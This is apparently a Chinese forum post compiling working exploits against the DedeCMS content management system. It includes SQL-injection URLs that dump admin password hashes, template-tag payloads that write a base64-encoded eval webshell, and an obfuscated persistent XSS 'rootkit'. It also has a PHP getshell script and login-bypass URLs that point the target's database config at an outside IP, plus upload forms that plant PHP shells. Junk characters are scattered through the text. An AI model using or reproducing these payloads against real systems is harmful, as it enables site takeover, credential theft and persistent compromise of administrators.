dedecms漏洞总结

admin

* K8 G2 _; B6 T7 J6 o! EDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

( y+ _* |& b# z8 L  W  ~) k
/ y, ]+ w- q! _  D8 p8 R/ I4 K
% Z; P1 ~& w5 n" d( {

, |4 W  B' o% g) s$ P9 r) r$ o6 i

/ O3 O; r8 p3 N7 Q" Y4 i3 y
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
5 o8 a0 i$ u# I, o4 F( T5 ^a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


, n( ?7 K8 N7 \: F* ^
; F" V+ b) t7 f! _
  g9 J( D. ^$ f3 X
$ v5 s7 N/ L; y' |  s5 Z! [$ D4 G
: C) K% J* j3 D3 Q

7 p  W" _8 |4 Q" J  y( FDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
: E' e6 v4 x9 g$ M- nhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
' J4 X$ G0 ~9 s




/ \: p2 F9 T: w4 n

6 W  y# C, n8 _. ?
4 O  m- E* X/ o6 uDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
8 E' r; A; x( Z5 w. M2 B% j& ]
1 p, e- T9 H5 u- \( U- V8 }* p

( D# [, e: Y" U) b' J4 e


( @: Z# y& N0 uDEDECMS 全版本 gotopage变量XSS漏洞
, t5 O* ?% y& I' z, ]1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
) `! p9 L$ m1 h7 Xhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
" C) |! ]2 O, M
0 Y% p$ R1 y/ m6 s
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
, I! K' c# w8 h" u' q0 D2 K8 Chttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


4 G! L7 t  O2 u# }" l! Chttp://v57.demo.dedecms.com/dede/login.php


- _, a; |+ \! v/ e! }4 |+ Scolor=Red]DeDeCMS(织梦)变量覆盖getshell
6 c9 ]4 d, ?/ D* G  h* L1 O#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
$ Y- z( ^& N  g! f) Bset_time_limit(0);
) F1 a6 R' ?" R  z! Yprint_r('
DEDEcms Variable Coverage
& }2 f3 K9 V% Q. }Exploit Author: www.heixiaozi.comwww.webvul.com
5 K, G) s, w9 j& U& p& {' R);
echo "\r\n";
: C( E+ K- G( p& Q& Eif($argv[2]==null){
print_r('
9 n+ l; q$ r0 C' _3 J( w+---------------------------------------------------------------------------+
. I7 V$ Y) F0 j5 V5 W3 c7 Q0 rUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
  n3 X3 l$ e# t6 y- G. j6 cExample:
. N& H1 b9 T0 I, H9 G# F5 cphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
7 \5 ]2 Q* j0 K( P2 U; D' A% mexit;
/ k, v5 H, l$ Z1 [6 B; y}
6 D. c3 Y2 o: K% t2 I/ ]$url=$argv[1];
$aid=$argv[2];
! U7 z9 }9 F% @1 P% w/ R! d$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
( }* d7 ]' g6 mShell:".$url."/$path/data/cache/fuck.php\n" ;

0 d. ]4 R% \, j8 S& D0 c1 p" N
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
% `! l& y" T7 u% v8 K% @: ^Shell:".$url."/$path/plus/fuck.php\n";

& L8 d! g5 {; Z& K9 F
}else{
echo "
6 t- r8 ~5 }4 @Exploit Failed \n";
}
& W9 _2 u9 z/ b& t2 efunction Getshell($url,$aid,$path){
9 p% H& D9 W* I2 I* f  g2 p$id=$aid;
$host=$url;
' i+ R  v+ R5 H) L5 ^! Q7 P$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
3 o1 E2 p( u- u/ ^8 q8 ~$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
) K6 N! X# K5 n$data .= "Host: ".$host."\r\n";
8 ]; y5 D% [$ E* G4 _$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
5 g$ v9 p; Z+ o+ B//$data .= "Accept-Encoding: gzip,deflate\r\n";
& l7 H! {$ M) A. }& F$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
/ C7 U- S9 e& `1 f$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
3 v0 ?  X3 Z+ ~# \4 D) g}
fwrite($ock,$data);
while (!feof($ock)) {
; ?2 p% C5 ^! f$ v' ^5 b$exp=fgets($ock, 1024);
" i* b2 v$ Q8 W( p$ xreturn $exp;
}
) s, v/ l, G6 m1 x9 \5 E}
9 {! y+ g. p0 E5 d
9 Z( z7 A1 p! M% J% [' G, d$ m
?>

5 R4 j8 y) h. N, t1 X4 C2 d


% j  B& ^" l( Z

0 q  H/ {+ t: |& w8 K, U
; x: p- H  w8 q3 [2 @. Q


DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
8 Q: ~) B( F# ^) A

把上面validate=dcug改为当前的验证码，即可直接进入网站后台
8 [- X+ D- Z) i; a8 B) x' b

此漏洞的前提是必须得到后台路径才能实现

& k% a7 v: V/ v, W) O4 J! @% M
5 h/ ]% I$ b7 n$ }9 z+ w


2 k# V  |3 h7 ?  Q, P




  ^! I0 B% ]$ X: V3 X3 v6 e; PDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
' u7 Y6 t8 q4 e1 f( z; ?) @" {

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
4 L. [* C* V4 g+ r* ]- K<form action="" method="post" name="QuickSearch" id="QuickSearch">
( t* V( C. w2 w3 \& U/ l. l& S% `<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
/ z* r. n( U2 i<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
! t, O2 O' K! H* I% I<input type="text" value="true" name="nocache" style="width:400">
6 a/ Q2 M- H. e  C<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
- t0 U/ o' w. }4 f$ C<script>
function addaction()
{
. _- U9 N1 S0 N. e' k, U* Idocument.QuickSearch.action=document.QuickSearch.doaction.value;
, Q0 u+ Q/ F6 ?* `4 Y}
</script>


$ h/ C. A3 m* B' v/ w
- v2 l3 {# X' @1 @8 T7 J

1 B( J! u% F* o) u7 A2 |4 x


% E6 B/ X8 g3 p4 L: L+ r6 f* @
) s: [7 D/ [" C+ ?5 `$ G* ]
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
  ?/ d& y* Z0 B" p& [% K3 b2 z  Va{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
$ M3 S; h3 j* g, Q: Z4 q生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
/ M' J3 z2 B! t注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
0 R1 }0 o% V; a" I  Huploads/userup/2/12OMX04-15A.jpg
0 R2 i/ l0 k0 D8 g6 }2 _
$ g/ l- C( ~7 X5 g0 D( @
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
+ c! e2 T! f+ E6 q, D+ V% Q) D$fp = @fopen("1.php", 'a');
$ p* t( X+ ?& T- c' e@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
* u9 W4 i4 `+ s2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
7 A  \! v$ J5 b4 p7 F7 L<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
& m6 t& L$ r0 Y+ L<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
9 \  ]2 i- z, L8 u( q<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
5 @, V9 ~. b' i' q+ s& Z

<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
/ P( d0 i% E( t
9 }, C+ C! `1 V
<div class="postForm">
<label>标题：</label>
2 ~3 k% h0 y: I& v6 W0 t<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
" @% y; ]( H$ t1 ]) L  Z& U, B( E

<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
4 Z( i; Y7 Z; u3 L

<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
! {) u7 d9 Z" `% `5 d- J8 ~. I$ p
4 j/ T, r" Y: F% g- j, w' S  y
<label>隶属栏目：</label>
<select name='typeid' size='1'>
5 o7 S/ O$ V6 s7 ^! v/ s0 s% A<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

( f4 v$ z1 F2 x& U6 K" }/ ]
<label>我的分类：</label>
- v8 h$ }' ~% A3 u* W+ D9 y3 Q<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
2 \3 C1 o7 w0 B. I4 R' v1 k, @4 m3 l</select>
! l. f$ D# w  y5 i
. ]8 r1 y- s8 c3 {9 m' x
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
  C, M3 R. M, `5 E% `(内容的简要说明)
2 {- f4 W" @3 z. W8 L5 K* ?

# `) W( Z, x5 z7 }# m; n<label>缩略图：</label>
0 F' u% _! c+ W8 [0 E5 P<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
/ `9 C2 j4 F# ?; ]
' r! P4 E' j4 W% a5 L/ s
- v8 n9 l% S0 C# y<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
; }1 n( q" f! [4 _  X<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
+ x  W- n8 n$ f: S7 Z
9 V$ x8 b$ @5 g* w
<!-- 表单操作区域 -->
3 Q- X- I2 D7 ]8 v. {<h3 class="meTitle">详细内容</h3>
& R/ E# D' n/ D( S: `% k3 c2 P8 G, `7 v
8 _( u; ^: ]- M! L" B, M! f
1 d+ j% Z5 N# i2 X, h<div class="contentShow postForm">
  O0 w: `) X: Q' }<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
  d# Z" I% H7 x. |$ D, O<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
  {8 v7 k- d/ W' y<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

! ]- X  S3 W9 ?6 d
$ H% n* e. V7 e0 k/ q" o<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
8 |1 n) W  Y5 W2 ~8 i7 I1 A</div>
- E- t+ i1 a7 p/ F8 l3 T
& F! A# M+ O4 z; q8 S! c
6 U7 ~" X; @* M2 w7 f+ Q7 X/ l</div>
/ C8 ?! Y/ a0 ^; a

</form>

- L; x2 ]+ ~7 W. D  w
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
5 m$ Z% c! x/ [9 t; p/ s假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php


+ m8 v8 B5 T; p
  O) t! F6 F$ g
7 M4 h) j9 j/ i. u' |) s( W. ~






% B& h/ @6 P( n0 f; \: S* |
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
5 C7 }3 T( T2 \. b3 u! Gphpinfo();
{/dede:field}
4 R% x9 G7 Q: e9 G5 q" e保存为1.gif
2 F7 P0 r& V4 s% D" i7 t) X; S! C4 o<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
9 T1 I; N/ R1 Q8 p<input type="hidden" name="aid" value="7" />
" ~9 N6 z& B, h" @! f<input type="hidden" name="mediatype" value="1" />
- j0 k4 r& G) d' k0 z<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
6 V, T% V! C' I<button class="button2" type="submit" >更改</button>
</form>
# X/ ~: r# w& s% A% ~1 K5 @" ~3 M0 T
( k# P: t0 B% }! U+ ], [
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

3 Z2 j3 n/ h9 [+ b3 A: ]
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
- _) Z3 Z: c7 W9 d<input type="hidden" name="aid" value="2" />
* J, s3 V* h/ T0 R4 X<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
; g. F' H: I, h" b<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
9 G  ^9 B; `, A) |" q<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
& [5 S' X' d6 S, f/ o2 W( j<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
6 g6 S7 ~, w9 F6 e<option value='1' class='option3' selected>aa</option></select>
% b2 b7 Z7 L% a' p<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
% a& F! v+ D  V( ~7 ?0 G<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
& e! d' A$ ]( k<button class="button2" type="submit">提交</button>
* U9 z0 M5 m' K& j9 q</form>
- S7 g3 b$ h, o



- a  k/ `% z0 ^" Z5 R
3 b  L: z& h3 Q2 F* h$ a1 F

2 T- J" d: t' R  b- x& S/ Z

0 A: m  A& }2 m& S& q. J! S$ J


织梦(Dedecms)V5.6 远程文件删除漏洞
0 E1 o/ N$ u: M$ @8 Hhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
9 Q" Y* P  P$ s) q  U" a


. f; A# U( h% C4 P# E  y5 |



2 Y$ R$ T( K! p6 u3 c

9 A3 |. u# x! L4 e% b% K
$ V3 J; l, S4 r织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
6 O5 m4 c) y: T. Z4 O2 I

8 d7 R- g3 N. o+ ]
2 c" `7 ~$ Z+ m) ~



# ~* k) U2 U6 H% O1 Y% f9 O7 O
6 Q9 G. m% i( b& J1 k* q
9 t8 X2 T: ^! i! }6 O) E5 v
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



5 Z( P/ K% U# p: l6 e% v



: N7 W1 w: g; n% T$ R: B
) G& m. N2 d+ \9 U
9 m# X9 `& e  a8 d2 `+ g7 `
* B1 i# t& f) X+ l2 a9 p织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
* E+ x5 g/ S  y2 H
# ]! c: M2 b: M) z$ [. T8 U( w


" W8 l0 r$ E7 I/ X! L, B8 B

% ]9 F- g, Z7 W3 W5 Z) R

( P, i2 d  s, b" H: V
7 L) V7 _5 w3 _! M6 ^8 K4 J
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
+ e% V) m3 v" K4 H0 k: x<html>
0 R6 R) Q- T4 x  Y! r<head>
5 R8 P, A2 c0 d4 j; F<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
6 P3 o7 O' q+ T5 X! o</head>
& A2 _. N6 W4 ^<body style="FONT-SIZE: 9pt">
4 K% T6 R8 e  B' v. |---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
' }+ l% _# U/ B+ o5 N, R# s6 @<input type='hidden' name='cfg_basedir' value='../../' />
# A+ K6 o- Q! B+ [2 }& G<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
- L, X3 p9 O  K' P6 X! e* R<input type='hidden' name='cfg_softtype' value='php' />
$ a7 Z; q- K# R, B. l( i2 [% o1 U<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
) ?7 d6 @" \5 O<input type='hidden' name='newname' value='fly.php' />
; ~. g3 _7 u" A7 c4 J, O8 m+ M: `Select U Shell <input type='file' name='uploadfile' size='25' />
. u2 j5 |0 X% D7 H  ^- A<input type='submit' name='sb1' value='确定' />
</form>
7 }( m; @& ^+ V7 l+ ?# @9 R<br />It's just a exp for the bug of Dedecms V55...<br />
5 S; ]* L9 c& P8 S( [' g& H* ONeed register_globals = on...<br />
% F2 Q" E, H  h% @Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>


* R" j* @* B" R  `* R
/ N+ E* S7 p: n





& m; s1 {' y) X+ k' s1 A# p
' `! E/ I% k5 E, i6 m织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
0 Q: |7 O; R; j* P利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
' u% P, f; K# P* khttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
1 {8 \: K- `& x- S; I4 A可看见错误信息
2 ^! ]; X' `7 ^4 I3 {! o- t* F$ h
6 ^3 b/ d# Y" D" W& _$ O% p" X
/ P- q" T- z+ d1 |( f0 G! Q2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
* \+ b! @, V0 B- J" N2 Sint(3) Error: Illegal double '1024e1024' value found during parsing
& D! p7 V; ^# Q) HError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
+ I/ J( y2 p9 t! o+ s! g

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
! U1 D, V3 X  O% B

! z8 r; H7 v  A) W<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


* z4 W3 m" ^' X& x按确定后的看到第2步骤的信息表示文件木马上传成功.

8 V  z; ?0 n3 U, W+ r$ J; |
' L" E, Q: O3 w% ]' f, }



( _" H, M9 |( {6 }4 B3 U
1 c3 z4 w0 M! O% t* Z% c3 ?- ^/ r& [
+ t% P" j. e0 J

$ Q. {( }4 e' z  G2 _8 C6 u

- `- w) [7 N/ q5 P& c织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*